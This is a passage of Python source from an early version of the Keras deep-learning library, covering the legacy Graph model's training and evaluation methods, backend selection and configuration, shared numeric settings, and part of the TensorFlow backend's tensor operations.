                to appropriate Numpy arrays to be used as
                held-out validation data.
                All arrays should contain the same number of samples.
                Will override validation_split.
            shuffle: boolean. Whether to shuffle the samples at each epoch.
            class_weight: dictionary mapping output names to
                class weight dictionaries.
            sample_weight: dictionary mapping output names to
                numpy arrays of sample weights.
        '''
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        x = self._get_x(data)
        y = self._get_y(data)

        if type(validation_data) is tuple:
            raise Exception('Cannot used sample_weight with '
                            'validation data with legacy Graph model. '
                            'validation_data should be a dictionary.')
        if validation_data:
            val_x = self._get_x(validation_data)
            val_y = self._get_y(validation_data)
            validation_data = (val_x, val_y)
        return super(Graph, self).fit(x, y,
                                      batch_size=batch_size,
                                      nb_epoch=nb_epoch,
                                      verbose=verbose,
                                      callbacks=callbacks,
                                      validation_split=validation_split,
                                      validation_data=validation_data,
                                      shuffle=shuffle,
                                      class_weight=class_weight,
                                      sample_weight=sample_weight)

    def evaluate(self, data, batch_size=128,
                 verbose=0, sample_weight={}, **kwargs):
        '''Computes the loss on some input data, batch by batch.

        Returns the scalar test loss over the data,
        or a list of metrics values (starting with the test loss)
        if applicable.

        Arguments: see `fit` method.
        '''
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        x = self._get_x(data)
        y = self._get_y(data)
        return super(Graph, self).evaluate(x, y,
                                           batch_size=batch_size,
                                           verbose=verbose,
                                           sample_weight=sample_weight)

    def predict(self, data, batch_size=128, verbose=0):
        '''Generates output predictions for the input samples
        batch by batch.

        Arguments: see `fit` method.
        '''
        x = self._get_x(data)
        output_list = super(Graph, self).predict(x, batch_size=batch_size,
                                                 verbose=verbose)
        if not isinstance(output_list, list):
            output_list = [output_list]
        return dict(zip(self._graph_outputs, output_list))

    def train_on_batch(self, data,
                       class_weight={},
                       sample_weight={}, **kwargs):
        '''Single gradient update on a batch of samples.

        Returns the scalar train loss over the data,
        or a list of metrics values (starting with the test loss)
        if applicable.

        Arguments: see `fit` method.
        '''
        if 'accuracy' in kwargs:
            kwargs.pop('accuracy')
            warnings.warn('The "accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        x = self._get_x(data)
        y = self._get_y(data)
        return super(Graph, self).train_on_batch(x, y,
                                                 sample_weight=sample_weight,
                                                 class_weight=class_weight)

    def test_on_batch(self, data, sample_weight={}, **kwargs):
        '''Test the network on a single batch of samples.

        Returns the scalar test loss over the data,
        or a list of metrics values (starting with the test loss)
        if applicable.

        Arguments: see `fit` method.
        '''
        if 'accuracy' in kwargs:
            kwargs.pop('accuracy')
            warnings.warn('The "accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        x = self._get_x(data)
        y = self._get_y(data)
        return super(Graph, self).test_on_batch(x, y,
                                                sample_weight=sample_weight)

    def predict_on_batch(self, data):
        output_list = super(Graph, self).predict_on_batch(data)
        if not isinstance(output_list, list):
            output_list = [output_list]
        return dict(zip(self._graph_outputs, output_list))

    def fit_generator(self, generator, samples_per_epoch, nb_epoch,
                      verbose=1, callbacks=[],
                      validation_data=None, nb_val_samples=None,
                      class_weight={},
                      max_q_size=10, **kwargs):
        '''Fits a model on data generated batch-by-batch by a Python generator.
        The generator is run in parallel to the model, for efficiency.
        For instance, this allows you to do real-time data augmentation
        on images on CPU in parallel to training your model on GPU.

        # Arguments
            generator: a generator.
                The output of the generator must be either a tuple
                of dictionaries `(input_data, sample_weight)`
                or a dictionary `input_data`
                (mapping names of inputs and outputs to Numpy arrays).
                All arrays should contain the same number of samples.
                The generator is expected to loop over its data
                indefinitely. An epoch finishes when `samples_per_epoch`
                samples have been seen by the model.
            samples_per_epoch: integer, number of samples to process before
                going to the next epoch.
            nb_epoch: integer, total number of iterations on the data.
            verbose: verbosity mode, 0, 1, or 2.
            callbacks: list of callbacks to be called during training.
            validation_data: dictionary mapping input names and outputs names
                to appropriate Numpy arrays to be used as
                held-out validation data, or a generator yielding such
                dictionaries. All arrays should contain the same number
                of samples. If a generator, will be called until more than
                `nb_val_samples` examples have been generated at the
                end of every epoch. These examples will then be used
                as the validation data.
            nb_val_samples: number of samples to use from validation
                generator at the end of every epoch.
            class_weight: dictionary mapping class indices to a weight
                for the class.

        # Returns
            A `History` object.

        # Examples

        ```python
            def generate_arrays_from_file(path):
                while 1:
                    f = open(path)
                    for line in f:
                        # create Numpy arrays of input data
                        # and labels, from each line in the file
                        x1, x2, y = process_line(line)
                        yield ({'input_1': x1, 'input_2': x2, 'output': y})
                    f.close()

            graph.fit_generator(generate_arrays_from_file('/my_file.txt'),
                                samples_per_epoch=10000, nb_epoch=10)
        ```
        '''
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if 'nb_worker' in kwargs:
            kwargs.pop('nb_worker')
            warnings.warn('The "nb_worker" argument is deprecated, '
                          'please remove it from your code.')
        if 'nb_val_worker' in kwargs:
            kwargs.pop('nb_val_worker')
            warnings.warn('The "nb_val_worker" argument is deprecated, '
                          'please remove it from your code.')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))

        self._train_on_batch = self.train_on_batch
        self.train_on_batch = super(Graph, self).train_on_batch
        self._evaluate = self.evaluate
        self.evaluate = super(Graph, self).evaluate

        if validation_data and type(validation_data) is tuple:
            raise Exception('Cannot use sample_weight with '
                            'validation_data in legacy Graph model.')
        if validation_data and type(validation_data) is dict:
            validation_data = (self._get_x(validation_data),
                               self._get_y(validation_data))

        original_generator = generator

        def fixed_generator():
            while 1:
                data = next(original_generator)
                if type(data) is tuple:
                    data, sample_weight = data
                    x = self._get_x(data)
                    y = self._get_y(data)
                    yield x, y, sample_weight
                else:
                    x = self._get_x(data)
                    y = self._get_y(data)
                    yield x, y

        generator = fixed_generator()
        history = super(Graph, self).fit_generator(generator,
                                                   samples_per_epoch,
                                                   nb_epoch,
                                                   verbose=verbose,
                                                   callbacks=callbacks,
                                                   validation_data=validation_data,
                                                   nb_val_samples=nb_val_samples,
                                                   class_weight=class_weight,
                                                   max_q_size=max_q_size)
        self.train_on_batch = self._train_on_batch
        self.evaluate = self._evaluate
        return history

    def evaluate_generator(self, generator, val_samples,
                           verbose=1, max_q_size=10, **kwargs):
        '''Evaluates the model on a generator. The generator should
        return the same kind of data with every yield as accepted
        by `evaluate`.

        If `show_accuracy`, it returns a tuple `(loss, accuracy)`,
        otherwise it returns the loss value.

        Arguments:
            generator:
                generator yielding dictionaries of the kind accepted
                by `evaluate`, or tuples of such dictionaries and
                associated dictionaries of sample weights.
            val_samples:
                total number of samples to generate from `generator`
                to use in validation.

            Other arguments are the same as for `fit`.
        '''
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if 'verbose' in kwargs:
            kwargs.pop('verbose')
            warnings.warn('The "verbose" argument is deprecated.')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))

        self._test_on_batch = self.test_on_batch
        self.test_on_batch = super(Graph, self).test_on_batch

        original_generator = generator

        def fixed_generator():
            while 1:
                data = next(original_generator)
                if type(data) is tuple:
                    data, sample_weight = data
                    x = self._get_x(data)
                    y = self._get_y(data)
                    yield x, y, sample_weight
                else:
                    x = self._get_x(data)
                    y = self._get_y(data)
                    yield x, y

        generator = fixed_generator()
        history = super(Graph, self).evaluate_generator(generator,
                                                        val_samples,
                                                        max_q_size=max_q_size)
        self.test_on_batch = self._test_on_batch
        return history

    # get_weights, set_weights: inherited
    def get_config(self):
        config = {'input_config': self._graph_input_config,
                  'node_config': self._graph_node_config,
                  'output_config': self._graph_output_config}
        nodes = {}
        for name, node in self._graph_nodes.items():
            nodes[name] = {'class_name': node.__class__.__name__,
                           'config': node.get_config()}
            if name in self._graph_shared_nodes_names:
                nodes[name]['shared'] = True
        config['nodes'] = nodes
        return copy.deepcopy(config)

    @classmethod
    def from_config(cls, config):
        # TODO: test legacy support
        from keras.utils.layer_utils import layer_from_config

        def normalize_legacy_config(conf):
            if 'class_name' not in conf:
                class_name = conf['name']
                name = conf.get('custom_name')
                conf['name'] = name
                new_config = {
                    'class_name': class_name,
                    'config': conf,
                }
                return new_config
            return conf

        graph = cls()
        inputs = config.get('input_config')
        for input in inputs:
            graph.add_input(**input)

        nodes = config.get('node_config')
        for node in nodes:
            layer_config = config['nodes'][node['name']]
            layer_config = normalize_legacy_config(layer_config)
            if 'layer' in node:
                # for add_shared_node
                node['layer'] = layer_from_config(node['layer'])
            else:
                layer = layer_from_config(layer_config)
                node['layer'] = layer

            node['create_output'] = False  # outputs will be added below
            if layer_config.get('shared'):
                graph.add_shared_node(**node)
            else:
                graph.add_node(**node)

        outputs = config.get('output_config')
        for output in outputs:
            graph.add_output(**output)
        return graph

    def load_weights(self, fname):
        if not self.built:
            self.build()
        super(Graph, self).load_weights(fname)












from __future__ import absolute_import
from __future__ import print_function
import os
import json
import sys
from .common import epsilon
from .common import floatx
from .common import set_epsilon
from .common import set_floatx
from .common import get_uid
from .common import cast_to_floatx
from .common import image_dim_ordering
from .common import set_image_dim_ordering
from .common import is_keras_tensor
from .common import legacy_weight_ordering
from .common import set_legacy_weight_ordering

_keras_base_dir = os.path.expanduser('~')
if not os.access(_keras_base_dir, os.W_OK):
    _keras_base_dir = '/tmp'

_keras_dir = os.path.join(_keras_base_dir, '.keras')
if not os.path.exists(_keras_dir):
    os.makedirs(_keras_dir)

_BACKEND = 'theano'
_config_path = os.path.expanduser(os.path.join(_keras_dir, 'keras.json'))
if os.path.exists(_config_path):
    _config = json.load(open(_config_path))
    _floatx = _config.get('floatx', floatx())
    assert _floatx in {'float16', 'float32', 'float64'}
    _epsilon = _config.get('epsilon', epsilon())
    assert type(_epsilon) == float
    _backend = _config.get('backend', _BACKEND)
    assert _backend in {'theano', 'tensorflow'}
    _image_dim_ordering = _config.get('image_dim_ordering', image_dim_ordering())
    assert _image_dim_ordering in {'tf', 'th'}

    set_floatx(_floatx)
    set_epsilon(_epsilon)
    set_image_dim_ordering(_image_dim_ordering)
    _BACKEND = _backend

# save config file
if not os.path.exists(_config_path):
    _config = {'floatx': floatx(),
               'epsilon': epsilon(),
               'backend': _BACKEND,
               'image_dim_ordering': image_dim_ordering()}
    with open(_config_path, 'w') as f:
        f.write(json.dumps(_config, indent=4))

if 'KERAS_BACKEND' in os.environ:
    _backend = os.environ['KERAS_BACKEND']
    assert _backend in {'theano', 'tensorflow'}
    _BACKEND = _backend

# import backend
if _BACKEND == 'theano':
    sys.stderr.write('Using Theano backend.\n')
    from .theano_backend import *
elif _BACKEND == 'tensorflow':
    sys.stderr.write('Using TensorFlow backend.\n')
    from .tensorflow_backend import *
else:
    raise Exception('Unknown backend: ' + str(_BACKEND))


def backend():
    '''Publicly accessible method
    for determining the current backend.
    '''
    return _BACKEND






import numpy as np

from collections import defaultdict

# the type of float to use throughout the session.
_FLOATX = 'float32'
_EPSILON = 10e-8
_UID_PREFIXES = defaultdict(int)
_IMAGE_DIM_ORDERING = 'th'
_LEGACY_WEIGHT_ORDERING = False


def epsilon():
    '''Returns the value of the fuzz
    factor used in numeric expressions.
    '''
    return _EPSILON


def set_epsilon(e):
    '''Sets the value of the fuzz
    factor used in numeric expressions.
    '''
    global _EPSILON
    _EPSILON = e


def floatx():
    '''Returns the default float type, as a string
    (e.g. 'float16', 'float32', 'float64').
    '''
    return _FLOATX


def set_floatx(floatx):
    global _FLOATX
    if floatx not in {'float16', 'float32', 'float64'}:
        raise Exception('Unknown floatx type: ' + str(floatx))
    _FLOATX = str(floatx)


def cast_to_floatx(x):
    '''Cast a Numpy array to floatx.
    '''
    return np.asarray(x, dtype=_FLOATX)


def image_dim_ordering():
    '''Returns the image dimension ordering
    convention ('th' or 'tf').
    '''
    return _IMAGE_DIM_ORDERING


def set_image_dim_ordering(dim_ordering):
    '''Sets the value of the image dimension
    ordering convention ('th' or 'tf').
    '''
    global _IMAGE_DIM_ORDERING
    if dim_ordering not in {'tf', 'th'}:
        raise Exception('Unknown dim_ordering:', dim_ordering)
    _IMAGE_DIM_ORDERING = str(dim_ordering)


def get_uid(prefix=''):
    _UID_PREFIXES[prefix] += 1
    return _UID_PREFIXES[prefix]


def reset_uids():
    global _UID_PREFIXES
    _UID_PREFIXES = defaultdict(int)


def is_keras_tensor(x):
    if hasattr(x, '_keras_shape'):
        return True
    else:
        return False


def set_legacy_weight_ordering(value):
    global _LEGACY_WEIGHT_ORDERING
    assert value in {True, False}
    _LEGACY_WEIGHT_ORDERING = value


def legacy_weight_ordering():
    return _LEGACY_WEIGHT_ORDERING






import tensorflow as tf
from tensorflow.python.training import moving_averages
import numpy as np
import os
import copy
import warnings
from .common import _FLOATX, _EPSILON, _IMAGE_DIM_ORDERING, reset_uids

# INTERNAL UTILS

_SESSION = None
_LEARNING_PHASE = tf.placeholder(dtype='uint8', name='keras_learning_phase')  # 0 = test, 1 = train
_MANUAL_VAR_INIT = False


def clear_session():
    global _SESSION
    global _LEARNING_PHASE
    tf.reset_default_graph()
    reset_uids()
    _SESSION = None
    _LEARNING_PHASE = tf.placeholder(dtype='uint8', name='keras_learning_phase')


def manual_variable_initialization(value):
    '''Whether variables should be initialized
    as they are instantiated (default), or if
    the user should handle the initialization
    (e.g. via tf.initialize_all_variables()).
    '''
    global _MANUAL_VAR_INIT
    _MANUAL_VAR_INIT = value


def learning_phase():
    '''Returns the learning phase flag.

    The learning phase flag is an integer tensor (0 = test, 1 = train)
    to be passed as input to any Keras function
    that uses a different behavior at train time and test time.
    '''
    return _LEARNING_PHASE


def set_learning_phase(value):
    global _LEARNING_PHASE
    if value not in {0, 1}:
        raise ValueError('Expected learning phase to be '
                         '0 or 1.')
    _LEARNING_PHASE = value


def get_session():
    '''Returns the TF session to be used by the backend.

    If a default TensorFlow session is available, we will return it.

    Else, we will return the global Keras session.

    If no global Keras session exists at this point:
    we will create a new global session.

    Note that you can manually set the global session
    via `K.set_session(sess)`.
    '''
    global _SESSION
    if tf.get_default_session() is not None:
        return tf.get_default_session()
    if _SESSION is None:
        if not os.environ.get('OMP_NUM_THREADS'):
            _SESSION = tf.Session(config=tf.ConfigProto(allow_soft_placement=True))
        else:
            nb_thread = int(os.environ.get('OMP_NUM_THREADS'))
            _SESSION = tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=nb_thread,
                                                        allow_soft_placement=True))
    return _SESSION


def set_session(session):
    '''Sets the global TF session.
    '''
    global _SESSION
    _SESSION = session


# VARIABLE MANIPULATION

def _convert_string_dtype(dtype):
    if dtype == 'float16':
        return tf.float16
    if dtype == 'float32':
        return tf.float32
    elif dtype == 'float64':
        return tf.float64
    elif dtype == 'int16':
        return tf.int16
    elif dtype == 'int32':
        return tf.int32
    elif dtype == 'int64':
        return tf.int64
    elif dtype == 'uint8':
        return tf.int8
    elif dtype == 'uint16':
        return tf.uint16
    else:
        raise ValueError('Unsupported dtype:', dtype)


def _to_tensor(x, dtype):
    x = tf.convert_to_tensor(x)
    if x.dtype != dtype:
        x = tf.cast(x, dtype)
    return x


def variable(value, dtype=_FLOATX, name=None):
    '''Instantiates a tensor.

    # Arguments
        value: numpy array, initial value of the tensor.
        dtype: tensor type.
        name: optional name string for the tensor.

    # Returns
        Tensor variable instance.
    '''
    v = tf.Variable(value, dtype=_convert_string_dtype(dtype), name=name)
    if _MANUAL_VAR_INIT:
        return v
    if tf.get_default_graph() is get_session().graph:
        try:
            get_session().run(v.initializer)
        except tf.errors.InvalidArgumentError:
            warnings.warn('Could not automatically initialize variable, '
                          'make sure you do it manually (e.g. via '
                          '`tf.initialize_all_variables()`).')
    else:
        warnings.warn('The default TensorFlow graph is not the graph '
                      'associated with the TensorFlow session currently '
                      'registered with Keras, and as such Keras '
                      'was not able to automatically initialize a variable. '
                      'You should consider registering the proper session '
                      'with Keras via `K.set_session(sess)`.')
    return v


def placeholder(shape=None, ndim=None, dtype=_FLOATX, name=None):
    '''Instantiates a placeholder.

    # Arguments
        shape: shape of the placeholder
            (integer tuple, may include None entries).
        ndim: number of axes of the tensor.
            At least one of {`shape`, `ndim`} must be specified.
            If both are specified, `shape` is used.
        dtype: placeholder type.
        name: optional name string for the placeholder.

    # Returns
        Placeholder tensor instance.
    '''
    if not shape:
        if ndim:
            shape = tuple([None for _ in range(ndim)])
    x = tf.placeholder(dtype, shape=shape, name=name)
    x._keras_shape = shape
    x._uses_learning_phase = False
    return x


def shape(x):
    '''Returns the symbolic shape of a tensor.
    '''
    return tf.shape(x)


def int_shape(x):
    '''Returns the shape of a tensor as a tuple of
    integers or None entries.
    Note that this function only works with TensorFlow.
    '''
    shape = x.get_shape()
    return tuple([i.__int__() for i in shape])


def ndim(x):
    '''Returns the number of axes in a tensor, as an integer.
    '''
    dims = x.get_shape()._dims
    if dims is not None:
        return len(dims)
    return None


def dtype(x):
    '''Returns the dtype of a tensor, as a string.
    '''
    return x.dtype.name


def eval(x):
    '''Evaluates the value of a tensor.
    Returns a Numpy array.
    '''
    return x.eval(session=get_session())


def zeros(shape, dtype=_FLOATX, name=None):
    '''Instantiates an all-zeros tensor variable.
    '''
    shape = tuple(map(int, shape))
    tf_dtype = _convert_string_dtype(dtype)
    return variable(tf.constant_initializer(0., dtype=tf_dtype)(shape), dtype, name)


def ones(shape, dtype=_FLOATX, name=None):
    '''Instantiates an all-ones tensor variable.
    '''
    shape = tuple(map(int, shape))
    tf_dtype = _convert_string_dtype(dtype)
    return variable(tf.constant_initializer(1., dtype=tf_dtype)(shape), dtype, name)


def eye(size, dtype=_FLOATX, name=None):
    '''Instantiate an identity matrix.
    '''
    return variable(np.eye(size), dtype, name)


def zeros_like(x, name=None):
    '''Instantiates an all-zeros tensor
    of the same shape as another tensor.
    '''
    return tf.zeros_like(x, name=name)


def ones_like(x, name=None):
    '''Instantiates an all-ones tensor
    of the same shape as another tensor.
    '''
    return tf.ones_like(x, name=name)


def random_uniform_variable(shape, low, high, dtype=_FLOATX,
                            name=None, seed=None):
    shape = tuple(map(int, shape))
    tf_dtype = _convert_string_dtype(dtype)
    if seed is None:
        # ensure that randomness is conditioned by the Numpy RNG
        seed = np.random.randint(10e8)
    value = tf.random_uniform_initializer(
        low, high, dtype=tf_dtype, seed=seed)(shape)
    return variable(value, dtype=dtype, name=name)


def random_normal_variable(shape, mean, scale, dtype=_FLOATX,
                           name=None, seed=None):
    shape = tuple(map(int, shape))
    tf_dtype = _convert_string_dtype(dtype)
    if seed is None:
        # ensure that randomness is conditioned by the Numpy RNG
        seed = np.random.randint(10e8)
    value = tf.random_normal_initializer(
        mean, scale, dtype=tf_dtype, seed=seed)(shape)
    return variable(value, dtype=dtype, name=name)


def count_params(x):
    '''Returns the number of scalars in a tensor.
    '''
    shape = x.get_shape()
    return np.prod([shape[i]._value for i in range(len(shape))])


def cast(x, dtype):
    '''Casts a tensor to a different dtype.
    '''
    return tf.cast(x, dtype)


# UPDATES OPS


def update(x, new_x):
    return tf.assign(x, new_x)


def update_add(x, increment):
    return tf.assign_add(x, increment)


def update_sub(x, decrement):
    return tf.assign_sub(x, decrement)


def moving_average_update(variable, value, momentum):
    return moving_averages.assign_moving_average(
        variable, value, momentum)


# LINEAR ALGEBRA

def dot(x, y):
    '''Multiplies 2 tensors.
    When attempting to multiply a ND tensor
    with a ND tensor, reproduces the Theano behavior
    (e.g. (2, 3).(4, 3, 5) = (2, 4, 5))
    '''
    if ndim(x) is not None and (ndim(x) > 2 or ndim(y) > 2):
        x_shape = (-1,) + int_shape(x)[1:]
        y_shape = int_shape(y)
        y_permute_dim = list(range(ndim(y)))
        y_permute_dim = [y_permute_dim.pop(-2)] + y_permute_dim
        xt = tf.reshape(x, [-1, x_shape[-1]])
        yt = tf.reshape(tf.transpose(y, perm=y_permute_dim), [y_shape[-2], -1])
        return tf.reshape(tf.matmul(xt, yt), x_shape[:-1] + y_shape[:-2] + y_shape[-1:])
    out = tf.matmul(x, y)
    return out


def batch_dot(x, y, axes=None):
    '''Batchwise dot product.

    batch_dot results in a tensor with less dimensions than the input.
    If the number of dimensions is reduced to 1, we use `expand_dims` to
    make sure that ndim is at least 2.

    # Arguments
        x, y: tensors with ndim >= 2
        axes: list (or single) int with target dimensions

    # Returns
        A tensor with shape equal to the concatenation of x's shape
        (less the dimension that was summed over) and y's shape
        (less the batch dimension and the dimension that was summed over).
        If the final rank is 1, we reshape it to (batch_size, 1).

    # Examples
        Assume x = [[1, 2], [3, 4]]   and y = [[5, 6], [7, 8]]
        batch_dot(x, y, axes=1) = [[17, 53]] which is the main diagonal
        of x.dot(y.T), although we never have to calculate the off-diagonal
        elements.

        Shape inference:
        Let x's shape be (100, 20) and y's shape be (100, 30, 20).
        If dot_axes is (1, 2), to find the output shape of resultant tensor,
            loop through each dimension in x's shape and y's shape:
        x.shape[0] : 100 : append to output shape
        x.shape[1] : 20 : do not append to output shape,
            dimension 1 of x has been summed over. (dot_axes[0] = 1)
        y.shape[0] : 100 : do not append to output shape,
            always ignore first dimension of y
        y.shape[1] : 30 : append to output shape
        y.shape[2] : 20 : do not append to output shape,
            dimension 2 of y has been summed over. (dot_axes[1] = 2)

        output_shape = (100, 30)
    '''
    if type(axes) == int:
        axes = (axes, axes)
    if axes is not None:
        adj_x = None if axes[0] == ndim(x) - 1 else True
        adj_y = True if axes[1] == ndim(y) - 1 else None
    else:
        adj_x = None
        adj_y = None
    out = tf.batch_matmul(x, y, adj_x=adj_x, adj_y=adj_y)
    if ndim(out) == 1:
        out = expand_dims(out, 1)
    return out


def transpose(x):
    '''Transposes a matrix.
    '''
    return tf.transpose(x)


def gather(reference, indices):
    '''Retrieves the vectors of indices `indices`
    in the 2D tensor `reference`.

    # Arguments
        reference: a 2D tensor.
        indices: an int tensor of indices.

    # Returns
        A 3D tensor of same type as `reference`.
    '''
    return tf.gather(reference, indices)


# ELEMENT-WISE OPERATIONS

def _normalize_axis(axis, ndim):
    if type(axis) is tuple:
        axis = list(axis)
    if type(axis) is list:
        for i, a in enumerate(axis):
            if a is not None and a < 0:
                axis[i] = a % ndim
    else:
        if axis is not None and axis < 0:
            axis = axis % ndim
    return axis


def max(x, axis=None, keepdims=False):
    '''Maximum value in a tensor.
    '''
    axis = _normalize_axis(axis, ndim(x))
    return tf.reduce_max(x, reduction_indices=axis, keep_dims=keepdims)


def min(x, axis=None, keepdims=False):
    '''Minimum value in a tensor.
    '''
    axis = _normalize_axis(axis, ndim(x))
    return tf.reduce_min(x, reduction_indices=axis, keep_dims=keepdims)


def sum(x, axis=None, keepdims=False):
    '''Sum of the values in a tensor, alongside the specified axis.
    '''
    axis = _normalize_axis(axis, ndim(x))
    return tf.reduce_sum(x, reduction_indices=axis, keep_dims=keepdims)


def prod(x, axis=None, keepdims=False):
    '''Multiplies the values in a tensor, alongside the specified axis.
    '''
    axis = _normalize_axis(axis, ndim(x))
    return tf.reduce_prod(x, reduction_indices=axis, keep_dims=keepdims)


def var(x, axis=None, keepdims=False):
    '''Variance of a tensor, alongside the specified axis.
    '''
    axis = _normalize_axis(axis, ndim(x))
    if x.dtype.base_dtype == tf.bool:
        x = tf.cast(x, _FLOATX)
    m = tf.reduce_mean(x, reduction_indices=axis, keep_dims=True)
    devs_squared = tf.square(x - m)
    return tf.reduce_mean(devs_squared,
                          reduction_indices=axis,
                          keep_dims=keepdims)


def std(x, axis=None, keepdims=False):
    '''Standard deviation of a tensor, alongside the specified axis.
    '''
    return tf.sqrt(var(x, axis=axis, keepdims=keepdims))


def mean(x, axis=None, keepdims=False):
    '''Mean of a tensor, alongside the specified axis.
    '''
    axis = _normalize_axis(axis, ndim(x))
    if x.dtype.base_dtype == tf.bool:
        x = tf.cast(x, _FLOATX)
    return tf.reduce_mean(x, reduction_indices=axis, keep_dims=keepdims)


def any(x, axis=None, keepdims=False):
    '''Bitwise reduction (logical OR).

    Returns an uint8 tensor (0s and 1s).
    '''
    axis = _normalize_axis(axis, ndim(x))
    x = tf.cast(x, tf.bool)
    x = tf.reduce_any(x, reduction_indices=axis, keep_dims=keepdims)
    return tf.cast(x, tf.uint8)


def all(x, axis=None, keepdims=False):
    '''Bitwise reduction (logical AND).

    Returns an uint8 tensor
    '''
    axis = _normalize_axis(axis, ndim(x))
    x = tf.cast(x, tf.bool)
    x = tf.reduce_all(x, reduction_indices=axis, keep_dims=keepdims)
    return tf.cast(x, tf.uint8)


def argmax(x, axis=-1):
    '''Returns the index of the maximum value
    along a tensor axis.
    '''
    if axis < 0:
        axis = axis % len(x.get_shape())
    return tf.argmax(x, axis)


def argmin(x, axis=-1):
    '''Returns the index of the minimum value
    along a tensor axis.
    '''
    if axis < 0:
        axis = axis % len(x.get_shape())
    return tf.argmin(x, axis)


def square(x):
    '''Element-wise square.
    '''
    return tf.square(x)


def abs(x):
    '''Element-wise absolute value.
    '''
    return tf.abs(x)


def sqrt(x):
    '''Element-wise square root.
    '''
    zero = _to_tensor(0., x.dtype.base_dtype)
    inf = _to_tensor(np.inf, x.dtype.base_dtype)
    x = tf.clip_by_value(x, zero, inf)
    return tf.sqrt(x)


def exp(x):
    '''Element-wise exponential.
    '''
    return tf.exp(x)


def log(x):
    '''Element-wise log.
    '''
    return tf.log(x)


def round(x):
    '''Element-wise rounding to the closest integer.
    '''
    return tf.round(x)


def sign(x):
    '''Element-wise sign.
    '''
    return tf.sign(x)


def pow(x, a):
    '''Element-wise exponentiation.
    '''
    return tf.pow(x, a)


def clip(x, min_value, max_value):
    '''Element-wise value clipping.
    '''
    if max_value < min_value:
        max_value = min_value
    min_value = _to_tensor(min_value, x.dtype.base_dtype)
    max_value = _to_tensor(max_value, x.dtype.base_dtype)
    return tf.clip_by_value(x, min_value, max_value)


def equal(x, y):
    '''Element-wise equality between two tensors.
    Returns a bool tensor.
    '''
    return tf.equal(x, y)


def not_equal(x, y):
    '''Element-wise inequality between two tensors.
    Returns a bool tensor.
    '''
    return tf.not_equal(x, y)


def greater(x, y):
    '''Element-wise truth value of (x > y).
    Returns a bool tensor.
    '''
    return tf.greater(x, y)


def greater_equal(x, y):
    '''Element-wise truth value of (x >= y).
    Returns a bool tensor.
    '''
    return tf.greater_equal(x, y)


def lesser(x, y):
    '''Element-wise truth value of (x < y).
    Returns a bool tensor.
    '''
    return tf.less(x, y)


def lesser_equal(x, y):
    '''Element-wise truth value of (x <= y).
    Returns a bool tensor.
    '''
    return tf.less_equal(x, y)


def maximum(x, y):
    '''Element-wise maximum of two tensors.
    '''
    return tf.maximum(x, y)


def minimum(x, y):
    '''Element-wise minimum of two tensors.
    '''
    return tf.minimum(x, y)


def sin(x):
    '''Computes sin of x element-wise.
    '''
    return tf.sin(x)


def cos(x):
    '''Computes cos of x element-wise.
    '''
    return tf.cos(x)


def normalize_batch_in_training(x, gamma, beta,
                                reduction_axes, epsilon=0.0001):
    '''Compute mean and std for batch then apply batch_normalization on batch.
    '''
    mean, var = tf.nn.moments(x, reduction_axes,
                              shift=None, name=None, keep_dims=False)
    if sorted(reduction_axes) == range(ndim(x))[:-1]:
        normed = tf.nn.batch_normalization(x, mean, var,
                                           beta, gamma,
                                           epsilon)
    else:
        # need broadcasting
        target_shape = []
        for axis in range(ndim(x)):
            if axis in reduction_axes:
                target_shape.append(1)
            else:
                target_shape.append(tf.shape(x)[axis])
        target_shape = tf.pack(target_shape)

        broadcast_mean = tf.reshape(mean, target_shape)
        broadcast_var = tf.reshape(var, target_shape)
        broadcast_gamma = tf.reshape(gamma, target_shape)
        broadcast_beta = tf.reshape(beta, target_shape)
        normed = tf.nn.batch_normalization(x, broadcast_mean, broadcast_var,
                                           broadcast_beta, broadcast_gamma,
                                           epsilon)
    return normed, mean, var


def batch_normalization(x, mean, var, beta, gamma, epsilon=0.0001):
    '''Apply batch normalization on x given mean, var, beta and gamma:

    output = (x - mean) / (sqrt(var) + epsilon) * gamma + beta
    '''
    return tf.nn.batch_normalization(x, mean, var, beta, gamma, epsilon)


# SHAPE OPERATIONS

def concatenate(tensors, axis=-1):
    '''Concantes a list of tensors alongside the specified axis.
    '''
    if axis < 0:
        if len(tensors[0].get_shape()):
            axis = axis % len(tensors[0].get_shape())
        else:
            axis = 0
    return tf.concat(axis, tensors)


def reshape(x, shape):
    '''Reshapes a tensor to the specified shape.
    '''
    return tf.reshape(x, shape)


def permute_dimensions(x, pattern):
    '''Permutes axes in a tensor.

    # Arguments
        pattern: should be a tuple of
            dimension indices, e.g. (0, 2, 1).
    '''
    return tf.transpose(x, perm=pattern)


def resize_images(X, height_factor, width_factor, dim_ordering):
    '''Resizes the images contained in a 4D tensor of shape
